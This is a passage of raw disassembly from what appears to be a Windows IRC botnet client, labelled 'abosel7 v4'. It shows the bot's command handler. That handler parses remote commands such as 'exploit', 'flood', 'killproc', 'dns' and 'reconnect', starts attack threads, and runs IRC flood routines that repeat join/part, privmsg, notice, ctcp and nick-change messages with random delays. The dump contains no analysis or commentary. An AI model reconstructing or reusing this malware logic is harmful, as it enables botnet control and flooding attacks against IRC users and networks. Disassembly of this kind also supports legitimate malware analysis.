esi ; Str call _atoi test ax, ax pop ecx jz short loc_4046FB push esi ; Str call _atoi pop ecx jmp short loc_404701 ; --------------------------------------------------------------------------- loc_4046FB: ; CODE XREF: sub_401ACD+2C17j ; sub_401ACD+2C23j mov ax, word_429084 loc_404701: ; CODE XREF: sub_401ACD+2C2Cj push [ebp+Format] ; Format mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h ; Count mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax ; Dest mov [ebp+var_A00], esi mov [ebp+var_970], edi call __snprintf movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+Dst] push offset asc_42BC2C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push edi ; int push eax ; int push [ebp+Format] ; Str push esi ; int call sub_409869 push ebx ; int lea eax, [ebp+Dst] push 6 ; int push eax ; Source call sub_40B3BA add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset sub_40EF1C push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4047D0 loc_4047BA: ; CODE XREF: sub_401ACD+2D01j cmp [ebp+var_968], ebx jnz loc_401F75 push 32h call ds:dword_427080 ; Sleep jmp short loc_4047BA ; --------------------------------------------------------------------------- loc_4047D0: ; CODE XREF: sub_401ACD+2CEBj call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42BBEC jmp loc_4097CB ; --------------------------------------------------------------------------- loc_4047E1: ; CODE XREF: sub_401ACD+FA9j ; sub_401ACD+FBEj ... push edi ; Str2 push offset aSecure ; "secure" call _strcmp pop ecx test eax, eax pop ecx jz short loc_404809 push edi ; Str2 push offset aSec ; "sec" call _strcmp pop ecx mov [ebp+var_AA8], ebx test eax, eax pop ecx jnz short loc_404813 loc_404809: ; CODE XREF: sub_401ACD+2D23j mov [ebp+var_AA8], 1 loc_404813: ; CODE XREF: sub_401ACD+2D3Aj push [ebp+Format] ; Format lea eax, [ebp+var_B2C] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_AA8], ebx mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] mov [ebp+var_AA0], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40485A mov eax, offset aUnsecuring ; "Unsecuring" loc_40485A: ; CODE XREF: sub_401ACD+2D86j push eax push offset asc_42BBB8 ; "-" lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf push ebx ; int lea eax, [ebp+Dst] push 22h ; int push eax ; Source call sub_40B3BA add esp, 1Ch mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_41A366 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4048CE loc_4048B8: ; CODE XREF: sub_401ACD+2DFFj cmp [ebp+var_A9C], ebx jnz loc_4082DE push 32h call ds:dword_427080 ; Sleep jmp short loc_4048B8 ; --------------------------------------------------------------------------- loc_4048CE: ; CODE XREF: sub_401ACD+2DE9j call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset dword_42BB7C jmp loc_4082CF ; --------------------------------------------------------------------------- loc_4048DF: ; CODE XREF: sub_401ACD+F7Fj ; sub_401ACD+F94j push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_41ABFB loc_4048F0: ; CODE XREF: sub_401ACD+2A75j ; sub_401ACD+2A8Bj ... add esp, 0Ch jmp loc_409644 ; --------------------------------------------------------------------------- loc_4048F8: ; CODE XREF: sub_401ACD+F55j ; sub_401ACD+F6Aj push offset unk_42BB2C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_404902: ; CODE XREF: sub_401ACD+F2Bj ; sub_401ACD+F40j push offset aAbosel7V4 ; "abosel7 v4" push offset dword_42BB1C jmp loc_406BEF ; --------------------------------------------------------------------------- loc_404911: ; CODE XREF: sub_401ACD+F01j ; sub_401ACD+F16j mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx jz short loc_404971 push esi ; Str call _atoi cmp eax, ebx pop ecx jl short loc_404966 cmp eax, 3 jge short loc_404966 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40495B lea eax, [esi+1] push eax lea eax, [ebp+Dst] push offset unk_42CD50 ; Format push eax ; Dest call _sprintf add esp, 0Ch mov [esi], bl jmp loc_4081AD ; --------------------------------------------------------------------------- loc_40495B: ; CODE XREF: sub_401ACD+2E6Dj push eax push offset unk_42BAF0 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_404966: ; CODE XREF: sub_401ACD+2E58j ; sub_401ACD+2E5Dj push eax push offset unk_42BAC4 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_404971: ; CODE XREF: sub_401ACD+2E4Dj mov edi, [ebp+arg_18] xor esi, esi loc_404976: ; CODE XREF: sub_401ACD+2EC5j push [ebp+var_90] ; Str2 push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_404999 inc esi add edi, 80h cmp esi, 3 jl short loc_404976 jmp loc_4081AD ; --------------------------------------------------------------------------- loc_404999: ; CODE XREF: sub_401ACD+2EB9j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42CD50 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_4049B3: ; CODE XREF: sub_401ACD+ED7j ; sub_401ACD+EECj push dword ptr [ebp+Args] ; Str2 push offset a332 ; "332" call _strcmp pop ecx test eax, eax pop ecx jz loc_403446 call sub_40B583 push ebx call ds:dword_42706C ; ExitProcess loc_4049D9: ; CODE XREF: sub_401ACD+19B1j push offset aGet_1 ; "get" push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_404A67 cmp dword_4CF180, ebx jz short loc_404A01 push offset byte_4CEB60 loc_4049F7: ; CODE XREF: sub_401ACD+2F98j push offset unk_42BA88 jmp loc_404A97 ; --------------------------------------------------------------------------- loc_404A01: ; CODE XREF: sub_401ACD+2F23j push 10h pop eax mov [ebp+var_2CC], eax push eax ; Size lea eax, [ebp+var_2E8] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] call ds:dword_427214 ; getsockname movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E24] push offset aD_D_D_ ; "%d.%d.%d.*" push eax ; Dest call _sprintf add esp, 14h lea eax, [ebp+var_E24] push eax jmp short loc_4049F7 ; --------------------------------------------------------------------------- loc_404A67: ; CODE XREF: sub_401ACD+2F1Bj push edi call dword_4CBA14 ; inet_addr cmp eax, 0FFFFFFFFh push edi ; Source jnz short loc_404A7B push offset unk_42BA48 jmp short loc_404A97 ; --------------------------------------------------------------------------- loc_404A7B: ; CODE XREF: sub_401ACD+2FA5j push offset byte_4CEB60 ; Dest call _strcpy pop ecx mov dword_4CF180, 1 pop ecx push edi push offset asc_42BA1C ; "-" loc_404A97: ; CODE XREF: sub_401ACD+2F2Fj ; sub_401ACD+2FACj lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch jmp loc_40349D ; --------------------------------------------------------------------------- loc_404AAB: ; CODE XREF: sub_401ACD+199Cj push [ebp+arg_8] ; Str2 push offset aExploit ; "exploit" call _strcmp pop ecx test eax, eax pop ecx jnz loc_404BB1 mov eax, [ebp+var_4] mov esi, 80h mov [ebp+var_13E8], eax mov eax, [ebp+var_8] mov [ebp+var_13E4], eax mov eax, [ebp+arg_4] mov [ebp+var_13F8], eax push offset aF ; "#f" lea eax, [ebp+var_1478] push esi ; Count push eax ; Dest mov [ebp+var_13F0], 1 call __snprintf add esp, 0Ch lea eax, [ebp+var_14F8] push offset aF ; "#f" push esi ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+var_1508] push edi ; Format push 10h ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+var_1508] push eax lea eax, [ebp+Dst] push offset asc_42B9E4 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 8 ; int push eax ; Source call sub_40B3BA add esp, 18h mov [ebp+var_13EC], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1508] push ebx push eax push offset sub_40BB65 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_13EC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_404BA0 loc_404B8A: ; CODE XREF: sub_401ACD+30D1j cmp [ebp+var_13E0], ebx jnz loc_4081AD push 32h call ds:dword_427080 ; Sleep jmp short loc_404B8A ; --------------------------------------------------------------------------- loc_404BA0: ; CODE XREF: sub_401ACD+30BBj call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42B9A4 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_404BB1: ; CODE XREF: sub_401ACD+2FEFj push [ebp+arg_8] ; Str2 push offset aReconnect_in ; "reconnect.in" call _strcmp pop ecx test eax, eax pop ecx jz loc_4095B4 push [ebp+arg_8] ; Str2 push offset aRin ; "rin" call _strcmp pop ecx test eax, eax pop ecx jz loc_4095B4 push [ebp+arg_8] ; Str2 push offset aReconnect_in_m ; "reconnect.in.ms" call _strcmp pop ecx test eax, eax pop ecx jz loc_409570 push [ebp+arg_8] ; Str2 push offset aRinms ; "rinms" call _strcmp pop ecx test eax, eax pop ecx jz loc_409570 push [ebp+arg_8] ; Str2 push offset aFlood ; "flood" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4057B7 call ds:dword_4270B0 ; GetTickCount push eax call sub_41C2B8 push edi ; Str2 push offset aLoad ; "load" call _strcmp add esp, 0Ch test eax, eax jnz short loc_404CB7 cmp [ebp+esi+var_80], ebx jz short loc_404CB7 push [ebp+esi+var_80] ; Str call _atoi pop ecx push eax ; int push [ebp+esi+Str2] ; Str call _atoi pop ecx push eax ; int push [ebp+esi+Format] ; Source call sub_417E06 add esp, 0Ch lea eax, [ebp+Dst] push [ebp+esi+Str2] push [ebp+esi+Format] push [ebp+esi+var_80] push offset asc_42B93C ; "-" push eax ; Dest call _sprintf add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404CB7 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 add esp, 14h loc_404CB7: ; CODE XREF: sub_401ACD+3173j ; sub_401ACD+3179j ... push edi ; Str2 push offset aPm ; "pm" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_404D21 mov eax, [ebp+esi+Str2] cmp eax, ebx jz short loc_404D21 push offset asc_42CDC0 ; " " push offset a_ ; "_" push eax ; Src call sub_41843B push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strcpy add esp, 14h lea eax, [ebp+Dest] push eax lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgSS ; "privmsg %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 14h loc_404D21: ; CODE XREF: sub_401ACD+31F9j ; sub_401ACD+3204j push edi ; Str2 push offset aCt ; "ct" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_404D8B mov eax, [ebp+esi+Str2] cmp eax, ebx jz short loc_404D8B push offset asc_42CDC0 ; " " push offset a_ ; "_" push eax ; Src call sub_41843B push eax ; Source lea eax, [ebp+var_4AF4] push eax ; Dest call _strcpy add esp, 14h lea eax, [ebp+var_4AF4] push eax lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgS ; "privmsg %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 14h loc_404D8B: ; CODE XREF: sub_401ACD+3263j ; sub_401ACD+326Ej push edi ; Str2 push offset aNt ; "nt" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_404DF5 mov eax, [ebp+esi+Str2] cmp eax, ebx jz short loc_404DF5 push offset asc_42CDC0 ; " " push offset a_ ; "_" push eax ; Src call sub_41843B push eax ; Source lea eax, [ebp+var_48F0] push eax ; Dest call _strcpy add esp, 14h lea eax, [ebp+var_48F0] push eax lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aNoticeSS_0 ; "notice %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 14h loc_404DF5: ; CODE XREF: sub_401ACD+32CDj ; sub_401ACD+32D8j push edi ; Str2 push offset aMode ; "mode" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_404E5F mov eax, [ebp+esi+Str2] cmp eax, ebx jz short loc_404E5F push offset asc_42CDC0 ; " " push offset a_ ; "_" push eax ; Src call sub_41843B push eax ; Source lea eax, [ebp+var_4FF8] push eax ; Dest call _strcpy add esp, 14h lea eax, [ebp+var_4FF8] push eax lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aModeSS ; "mode %s %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 14h loc_404E5F: ; CODE XREF: sub_401ACD+3337j ; sub_401ACD+3342j push edi ; Str2 push offset aJoin ; "join" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_404E9C mov eax, [ebp+esi+Format] cmp eax, ebx jz short loc_404E9C push eax lea eax, [ebp+Dst] push offset aJoinS ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 10h loc_404E9C: ; CODE XREF: sub_401ACD+33A1j ; sub_401ACD+33ACj push edi ; Str2 push offset aPart_0 ; "part" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_404ED9 mov eax, [ebp+esi+Format] cmp eax, ebx jz short loc_404ED9 push eax lea eax, [ebp+Dst] push offset aPartS ; "part %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 10h loc_404ED9: ; CODE XREF: sub_401ACD+33DEj ; sub_401ACD+33E9j push edi ; Str2 push offset aPartflood ; "partflood" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_404F1B mov eax, [ebp+esi+Format] cmp eax, ebx jz short loc_404F1B push offset dword_427620 push eax lea eax, [ebp+Dst] push offset aPartSS ; "part %s %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 14h loc_404F1B: ; CODE XREF: sub_401ACD+341Bj ; sub_401ACD+3426j push edi ; Str2 push offset aPnick ; "pnick" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_404F92 cmp [ebp+esi+Format], ebx jz short loc_404F92 call ds:dword_4270B0 ; GetTickCount push eax call sub_41C2B8 pop ecx call _rand cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B8] push edx push [ebp+esi+Format] push offset aSI ; "%s%i" push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+var_17B8] push eax lea eax, [ebp+Dst] push offset aNickS_0 ; "NICK %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 10h loc_404F92: ; CODE XREF: sub_401ACD+345Dj ; sub_401ACD+3466j push edi ; Str2 push offset aJoinPart ; "join/part" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4050E9 cmp [ebp+esi+Format], ebx jz loc_4050E9 push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aJoinS ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 10h lea eax, [ebp+Dst] push offset dword_427620 push [ebp+esi+Format] push offset aPartSS ; "part %s %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 14h call _rand cdq mov ecx, 3E8h idiv ecx push edx call ds:dword_427080 ; Sleep push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aJoinS ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 10h call _rand cdq mov ecx, 384h idiv ecx push edx call ds:dword_427080 ; Sleep push offset dword_427620 lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPartSS ; "part %s %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 14h lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aJoinS ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 10h call _rand cdq mov ecx, 0C8h idiv ecx push edx call ds:dword_427080 ; Sleep push offset dword_427620 lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPartSS ; "part %s %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 14h loc_4050E9: ; CODE XREF: sub_401ACD+34D4j ; sub_401ACD+34E1j push edi ; Str2 push offset aDcc ; "dcc" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405181 cmp [ebp+esi+Format], ebx jz short loc_405181 call ds:dword_4270B0 ; GetTickCount push eax call sub_41C2B8 pop ecx call _rand cdq mov ecx, 0F423Fh idiv ecx push edx call _rand cdq mov ecx, 0F423Fh idiv ecx push edx call _rand cdq mov ecx, 0F423Fh idiv ecx push edx call _rand cdq mov ecx, 0F423Fh idiv ecx push edx call _rand cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+Dst] push edx push [ebp+esi+Format] push offset aPrivmsgS_0 ; "PRIVMSG %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 24h loc_405181: ; CODE XREF: sub_401ACD+362Bj ; sub_401ACD+3638j push edi ; Str2 push offset aNick_0 ; "nick" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405289 mov eax, [ebp+esi+Format] cmp eax, ebx jz loc_405289 push eax lea eax, [ebp+Dst] push offset aJoinS ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F lea eax, [ebp+var_4BC] push eax ; Dest call sub_417E84 add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+Dst] push offset aNickS_0 ; "NICK %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 10h call _rand cdq mov ecx, 514h idiv ecx push edx call ds:dword_427080 ; Sleep lea eax, [ebp+var_4BC] push eax ; Dest call sub_417E84 pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+Dst] push offset aNickS_0 ; "NICK %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 10h call _rand cdq mov ecx, 1F4h idiv ecx push edx call ds:dword_427080 ; Sleep lea eax, [ebp+var_4BC] push eax ; Dest call sub_417E84 pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+Dst] push offset aNickS_0 ; "NICK %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 10h loc_405289: ; CODE XREF: sub_401ACD+36C3j ; sub_401ACD+36D2j push edi ; Str2 push offset aChgnick ; "chgnick" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4052CE lea eax, [ebp+var_180C] push eax ; Dest call sub_417E84 pop ecx lea eax, [ebp+var_180C] push eax lea eax, [ebp+Dst] push offset aNickS_0 ; "NICK %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 10h loc_4052CE: ; CODE XREF: sub_401ACD+37CBj push edi ; Str2 push offset aMsg ; "msg" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4053C3 cmp [ebp+esi+Format], ebx jz loc_4053C3 push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aJoinS ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 10h lea eax, [ebp+Dst] push offset dword_427624 push [ebp+esi+Format] push offset aPrivmsgSS ; "privmsg %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 14h call _rand cdq mov ecx, 3E8h idiv ecx push edx call ds:dword_427080 ; Sleep push offset dword_427624 lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgSS ; "privmsg %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 14h call _rand cdq mov ecx, 384h idiv ecx push edx call ds:dword_427080 ; Sleep push offset dword_427624 lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgSS ; "privmsg %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 14h loc_4053C3: ; CODE XREF: sub_401ACD+3810j ; sub_401ACD+381Dj push edi ; Str2 push offset aNotice_0 ; "notice" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4054B8 cmp [ebp+esi+Format], ebx jz loc_4054B8 push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aJoinS ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 10h lea eax, [ebp+Dst] push offset dword_427624 push [ebp+esi+Format] push offset aNoticeSS_1 ; "NOTICE %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 14h call _rand cdq mov ecx, 3E8h idiv ecx push edx call ds:dword_427080 ; Sleep push offset dword_427624 lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aNoticeSS_1 ; "NOTICE %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 14h call _rand cdq mov ecx, 384h idiv ecx push edx call ds:dword_427080 ; Sleep push offset dword_427624 lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aNoticeSS_1 ; "NOTICE %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 14h loc_4054B8: ; CODE XREF: sub_401ACD+3905j ; sub_401ACD+3912j push edi ; Str2 push offset aCtcp ; "ctcp" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4055D9 cmp [ebp+esi+Format], ebx jz loc_4055D9 push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aJoinS ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 10h lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgS_1 ; "PRIVMSG %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 10h call _rand cdq mov ecx, 514h idiv ecx push edx call ds:dword_427080 ; Sleep push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aPrivmsgS_2 ; "PRIVMSG %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 10h call _rand cdq mov ecx, 514h idiv ecx push edx call ds:dword_427080 ; Sleep push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aPrivmsgS_3 ; "PRIVMSG %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 10h call _rand cdq mov ecx, 514h idiv ecx push edx call ds:dword_427080 ; Sleep push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aPrivmsgS_3 ; "PRIVMSG %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 10h loc_4055D9: ; CODE XREF: sub_401ACD+39FAj ; sub_401ACD+3A07j push edi ; Str2 push offset aMix ; "mix" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405709 cmp [ebp+esi+Format], ebx jz loc_405709 push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aJoinS ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 10h lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgS_1 ; "PRIVMSG %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 10h call _rand cdq mov ecx, 514h idiv ecx push edx call ds:dword_427080 ; Sleep push offset dword_427624 lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aNoticeSS_1 ; "NOTICE %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 14h call _rand cdq mov ecx, 514h idiv ecx push edx call ds:dword_427080 ; Sleep push offset dword_427624 lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 14h call _rand cdq mov ecx, 514h idiv ecx push edx call ds:dword_427080 ; Sleep push offset dword_427624 lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aNoticeSS_1 ; "NOTICE %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 14h loc_405709: ; CODE XREF: sub_401ACD+3B1Bj ; sub_401ACD+3B28j push edi ; Str2 push offset aRegister ; "register" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40574D mov eax, [ebp+esi+Str2] cmp eax, ebx jz short loc_40574D push eax lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aNickservRegist ; "nickserv register %s %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417B2F add esp, 14h loc_40574D: ; CODE XREF: sub_401ACD+3C4Bj ; sub_401ACD+3C56j push edi ; Str2 push offset Str2 ; "off" call _strcmp pop ecx test eax, eax pop ecx jnz loc_40619B mov [ebp+arg_18], offset dword_4D4A5C loc_405769: ; CODE XREF: sub_401ACD+3CC0j mov eax, [ebp+arg_18] cmp dword ptr [eax-4], 1 jnz short loc_40577F mov eax, [eax] cmp eax, ebx jbe short loc_40577F push eax call dword_4CBA6C ; closesocket loc_40577F: ; CODE XREF: sub_401ACD+3CA3j ; sub_401ACD+3CA9j add [ebp+arg_18], 210h cmp [ebp+arg_18], offset byte_4DB17C jl short loc_405769 cmp [ebp+var_8], ebx jnz loc_40619B push ebx ; int push [ebp+var_4] ; int push offset unk_42B784 ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 add esp, 14h jmp loc_40619B ; --------------------------------------------------------------------------- loc_4057B7: ; CODE XREF: sub_401ACD+3151j push [ebp+arg_8] ; Str2 push offset aNick_0 ; "nick" call _strcmp pop ecx test eax, eax pop ecx jz loc_409554 push [ebp+arg_8] ; Str2 push offset aN ; "n" call _strcmp pop ecx test eax, eax pop ecx jz loc_409554 push [ebp+arg_8] ; Str2 push offset aJoin ; "join" call _strcmp pop ecx test eax, eax pop ecx jz loc_409531 push [ebp+arg_8] ; Str2 push offset aJ ; "j" call _strcmp pop ecx test eax, eax pop ecx jz loc_409531 push [ebp+arg_8] ; Str2 push offset aPart_0 ; "part" call _strcmp pop ecx test eax, eax pop ecx jz loc_409515 push [ebp+arg_8] ; Str2 push offset aPt ; "pt" call _strcmp pop ecx test eax, eax pop ecx jz loc_409515 push [ebp+arg_8] ; Str2 push offset aRaw ; "raw" call _strcmp pop ecx test eax, eax pop ecx jz loc_4094DB push [ebp+arg_8] ; Str2 push offset aR ; "r" call _strcmp pop ecx test eax, eax pop ecx jz loc_4094DB push [ebp+arg_8] ; Str2 push offset aKillthread ; "killthread" call _strcmp pop ecx test eax, eax pop ecx jz loc_409418 push [ebp+arg_8] ; Str2 push offset aK ; "k" call _strcmp pop ecx test eax, eax pop ecx jz loc_409418 push [ebp+arg_8] ; Str2 push offset aC_quit ; "c_quit" call _strcmp pop ecx test eax, eax pop ecx jz loc_40936D push [ebp+arg_8] ; Str2 push offset aC_q ; "c_q" call _strcmp pop ecx test eax, eax pop ecx jz loc_40936D push [ebp+arg_8] ; Str2 push offset aC_rndnick ; "c_rndnick" call _strcmp pop ecx test eax, eax pop ecx jz loc_40931F push [ebp+arg_8] ; Str2 push offset aC_rn ; "c_rn" call _strcmp pop ecx test eax, eax pop ecx jz loc_40931F push [ebp+arg_8] ; Str2 push offset aPrefix ; "prefix" call _strcmp pop ecx test eax, eax pop ecx jz loc_40930A push [ebp+arg_8] ; Str2 push offset aPr ; "pr" call _strcmp pop ecx test eax, eax pop ecx jz loc_40930A push [ebp+arg_8] ; Str2 push offset aOpen ; "open" call _strcmp pop ecx test eax, eax pop ecx jz loc_4092E0 push [ebp+arg_8] ; Str2 push offset aO ; "o" call _strcmp pop ecx test eax, eax pop ecx jz loc_4092E0 push [ebp+arg_8] ; Str2 push offset aServer_1 ; "server" call _strcmp pop ecx test eax, eax pop ecx jz loc_4092C7 push [ebp+arg_8] ; Str2 push offset aSe ; "se" call _strcmp pop ecx test eax, eax pop ecx jz loc_4092C7 push [ebp+arg_8] ; Str2 push offset aDns ; "dns" call _strcmp pop ecx test eax, eax pop ecx jz loc_40925F push [ebp+arg_8] ; Str2 push offset aDn ; "dn" call _strcmp pop ecx test eax, eax pop ecx jz loc_40925F push [ebp+arg_8] ; Str2 push offset aKillproc ; "killproc" call _strcmp pop ecx test eax, eax pop ecx jz loc_409233 push [ebp+arg_8] ; Str2 push offset aKp ; "kp" call _strcmp pop ecx test eax, 